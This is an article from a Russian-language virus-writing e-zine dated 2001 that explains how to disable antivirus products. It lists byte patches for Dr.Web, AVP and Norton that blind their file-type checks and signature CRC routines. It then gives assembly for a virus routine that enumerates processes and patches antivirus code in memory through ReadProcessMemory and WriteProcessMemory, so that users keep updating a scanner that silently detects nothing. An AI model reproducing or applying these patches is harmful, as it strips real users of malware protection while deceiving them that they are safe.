·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
   │ │ │ │ ├─┤│    / │ ││││├┴┐┬├─ ┬│  ├─┤ │ ┬│ ││└┤  Issue #1, January-2001
 ··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························

 ············································································
                              АНТИ-АНТИ-ВИРУС
 ············································································

     Замечательная это вещь, когда код антивируса лежит в открытую... делай
 с ним что хочешь.

     Берутся  антивирусные  файлы  (ими  можно считать все EXE/DLL файлы, у
 которых  один из подкаталогов начинается на WEB, DRWEB и т.п.) и по одному
 обрабатываются следующим образом:

    3D 4D 5A 00 00        cmp     eax, 'MZ'
    3D 50 45 00 00        cmp     eax, 'PE'
    3D 4C 45 00 00        cmp     eax, 'LE'
    3D 4E 45 00 00        cmp     eax, 'NE'

 заменяется на

    3D nn nn nn nn        cmp     eax, nnn

     В  результате  антивирус  теряет способность проверять EXE, PE, VXD, и
 т.п.  файлы,  а  остаются  ему одни комовики. Ну и хуй сними. Главное, что
 EICAR по прежнему детектируется. ;-)

     Далее,  ищутся  в  файле  стандартные  куски  подсчитывающие  CRC  для
 вирусных сигнатур, и тоже слегка изменяются.

 Dr.WEB:
    30 D6                xor     dh, dl
    30 E2                xor     dl, ah
    30 C4                xor     ah, al
    .. ..
    30 F0                xor     al, dh         --> 00 F0   add al, dh

 AVP/1:
    8D 14 00             lea     edx, [eax][eax]
    8A 19                mov     bl, [ecx]
    33 D3                xor     edx, ebx
    33 C2                xor     eax, edx       --> 33 C0   xor eax, eax

 AVP/2:
    8B D0                mov     edx, eax
    33 DB                xor     ebx, ebx
    8A 19                mov     bl, [ecx]
    C1 E2 08             shl     edx, 8
    33 D3                xor     edx, ebx
    33 C2                xor     eax, edx       --> 33 C0   xor eax, eax

 AVPI,crc32
    C1 E8 08             shr     eax, 8
    8B 14 95 xx xx xx xx mov     edx, crc32tab[edx*4]
    33 C2                xor     eax, edx       --> 33 c0   xor eax,eax

    C1 E9 08             shr     ecx, 8
    8B 04 85 xx xx xx xx mov     eax, crc32tab[eax*4]
    33 C1                xor     eax, ecx       --> 33 c0   xor eax,eax

 NAV
    FF 75 xx             push    [ebp+xx]
    8D 45 nn             lea     eax, [ebp+virus_id]
    50                   push    eax
    FF 75 xx             push    [ebp+xx]
    E8 xx xx xx xx       call    xxxxxxxx ; copy_virus_name
    83[C4 0C             add     esp, 0Ch
    FF 75]xx             push    [ebp+xx]
    E8 xx xx xx xx       call    xxxxxxxx ; _VLReleaseVirusHandle@4
    8B 45 nn             mov     eax, [ebp+virus_id]    <-- 33 C0 / 90
    EB xx                jmp     xxxxxxxx               (xor eax, eax / nop)

     В  результате  антивир  теряет  способность  узнавать свои собственные
 записи о вирусных сигнатурах, и не может детектировать вообще ничего.

     Затем  ищутся такие вещи, как первый (не нулевой) дворд из стандартных
 таблиц  crc16/crc32.  И вся таблица зануляется. В результате сканер теряет
 способность   распаковывать   архивы,   а   ревизор   перестает  орать  на
 модифицированные файлы.

     Все  эти  веселые вещи были когда-то реализованы в тулзе под названием
 AAV, и обозвана она была как Trojan.AAVPatch.

     Однако,  антивирусники  потихоньку  умнеют,  и  теперь  один за другим
 начинают файлики свои запаковывать. Как быть?

     А  выход  простой.  При  запуске  вируса  сканируются  все  процессы и
 производится патч антивирусов в памяти:

WALKER_SIZE             equ     262144          ; 256K размер буфера

                        call    walker_main
                        ...

th_pe_struc             struc           ; toolhelp Process info Entry
th_pe_dwSize            dd      ?
th_pe_cntUsage          dd      ?
th_pe_th32ProcessID     dd      ?       ; this process
th_pe_th32DefaultHeapID dd      ?       ; ULONG_PTR
th_pe_th32ModuleID      dd      ?       ; associated exe
th_pe_cntThreads        dd      ?
th_pe_th32ParentProcessID dd    ?       ; this process's parent process
th_pe_pcPriClassBase    dd      ?       ; Base priority of process's threads
th_pe_dwFlags           dd      ?
th_pe_szExeFile         db      260 dup (?)
                        ends

mbi_struc               struc
mbi_BaseAddress         dd      ?       ; base address of region
mbi_AllocationBase      dd      ?       ; allocation base address
mbi_AllocationProtect   dd      ?       ; initial access protection
mbi_RegionSize          dd      ?       ; size, in bytes, of region
mbi_State               dd      ?       ; committed, reserved, free
mbi_Protect             dd      ?       ; current access protection
mbi_Type                dd      ?       ; type of pages
                        ends

walker_main             proc    pascal
                        local   snaphandle:DWORD
                        local   th_pe:BYTE:size th_pe_struc
                        local   mbi:BYTE:size mbi_struc
                        pusha

                        ; выделим буфер
                        push    WALKER_SIZE
                        push    0
                        call    GlobalAlloc
                        xchg    edi, eax

                        ; используем TOOLHELP32.DLL
                        push    0
                        push    2               ; TH32CS_SNAPPROCESS
                        call    CreateToolhelp32Snapshot
                        cmp     eax, -1
                        je      __exit
                        mov     snaphandle, eax

                        mov     th_pe.th_pe_dwSize, size th_pe_struc

                        ; найдем процесс
                        lea     eax, th_pe
                        push    eax
                        push    snaphandle
                        call    Process32First
__processcycle:         or      eax, eax
                        jz      __processdone

                        ; проверим расширение
                        lea     edx, th_pe.th_pe_szExeFile
__scan0:                mov     al, [edx]
                        inc     edx
                        or      al, al
                        jnz     __scan0
                        mov     eax, [edx-5]
                        or      eax, 20202000h
                        neg     eax
                        cmp     eax, -'exe.'
                        jne     __nextprocess

                        ; проверим, чтобы не текущий процесс
                        call    GetCurrentProcessId
                        cmp     eax, th_pe.th_pe_th32ProcessID
                        je      __nextprocess

                        ; откроем на запись
                        push    th_pe.th_pe_th32ProcessID ; process id
                        push    0
                        push    001F0FFFh       ; PROCESS_ALL_ACCESS
                        call    OpenProcess
                        cmp     eax, -1
                        je      __nextprocess
                        xchg    ebx, eax        ; process handle

                        ; сканируем все блоки памяти процесса
                        mov     esi, 00400000h  ; start address

__querycycle:           lea     eax, mbi
                        push    size mbi_struc
                        push    eax
                        push    esi             ; address
                        push    ebx             ; process handle
                        call    VirtualQueryEx
                        cmp     eax, size mbi_struc
                        jne     __querydone

                        ; проверяем, чтоб блок был подгружен в память
                        mov     eax, mbi.mbi_State
                        cmp     eax, 1000h      ; MEM_COMMIT
                        jne     __nextregion

                        ; патчим блок памяти
                        mov     ecx, mbi.mbi_RegionSize
                        call    walker_fuxor

__nextregion:           add     esi, mbi.mbi_RegionSize
                        cmp     esi, 80000000h  ; end address
                        jb      __querycycle

__querydone:            push    ebx             ; process handle
                        call    CloseHandle

__nextprocess:          lea     eax, th_pe
                        push    eax
                        push    snaphandle
                        call    Process32Next
                        jmp     __processcycle

__processdone:          push    snaphandle
                        call    CloseHandle

__exit:                 push    edi
                        call    GlobalFree

                        popa
                        ret
                        endp

; разбиваем большой блок памяти на куски и передаем дальше.
; это нужно для того, чтобы не возник трэш и прочие глюки

; action: split big block (size in ECX) into small blocks (calls)
; input: EBX=process handle
;        ESI=memory block address
;        ECX=memory block size
;        EDI=temp block

walker_fuxor:           pusha

                        mov     eax, ecx

__cycle:                mov     ecx, WALKER_SIZE
                        cmp     ecx, eax
                        jbe     __be
                        mov     ecx, eax
__be:
                        call    walker_fuxor_real

                        add     esi, ecx
                        sub     eax, ecx
                        jnz     __cycle

                        popa
                        retn

; патчим блок памяти, длина блока заведомо не больше WALKER_SIZE

; input: EBX=process handle
;        ESI=memory block address
;        ECX=memory block size
;        EDI=temp block

walker_fuxor_real:      pusha

                        call    mem_read
                        jc      __exit

                        ; EDI=buffer, ECX=buffer size

                        ...патчим буфер...

                        call    mem_write       ; update buffer if patched

__exit:                 popa
                        retn

; процедура чтения памяти из контекста процесса
mem_read:               pusha
                        push    0
                        push    esp             ; @bytesread
                        push    ecx             ; bytes to read
                        push    edi             ; write to
                        push    esi             ; address (read from)
                        push    ebx             ; process handle
                        call    ReadProcessMemory
                        pop     ecx
                        or      eax, eax
                        jz      __bad
                        cmp     ecx, [esp+6*4]  ; pusha.ecx
                        jne     __bad
                        popa
                        clc
                        retn
__bad:                  popa
                        stc
                        retn

; процедура записи памяти в контекст процесса
mem_write:              pusha
                        push    0               ; @byteswritten
                        push    ecx             ; bytes to write
                        push    edi             ; read from
                        push    esi             ; address (write to)
                        push    ebx             ; process handle
                        call    WriteProcessMemory
                        popa
                        retn

     Вообще,  технология  защиты от антивирусов такая же, как и от вирусов,
 ну,  разве  что кроме ревизоров. То есть можно сделать: сканер (на диске/в
 памяти), монитор, гвард, эвристик... поиск в архивах...

     При  этом  антивир  прямо-таки  необходимо  пропатчить,  а не убить: в
 результате  юзер  будет успокаивать свою совесть выкачивая новые апдейты к
 пропатченому антивиру, и всем будет рулез.

 ············································································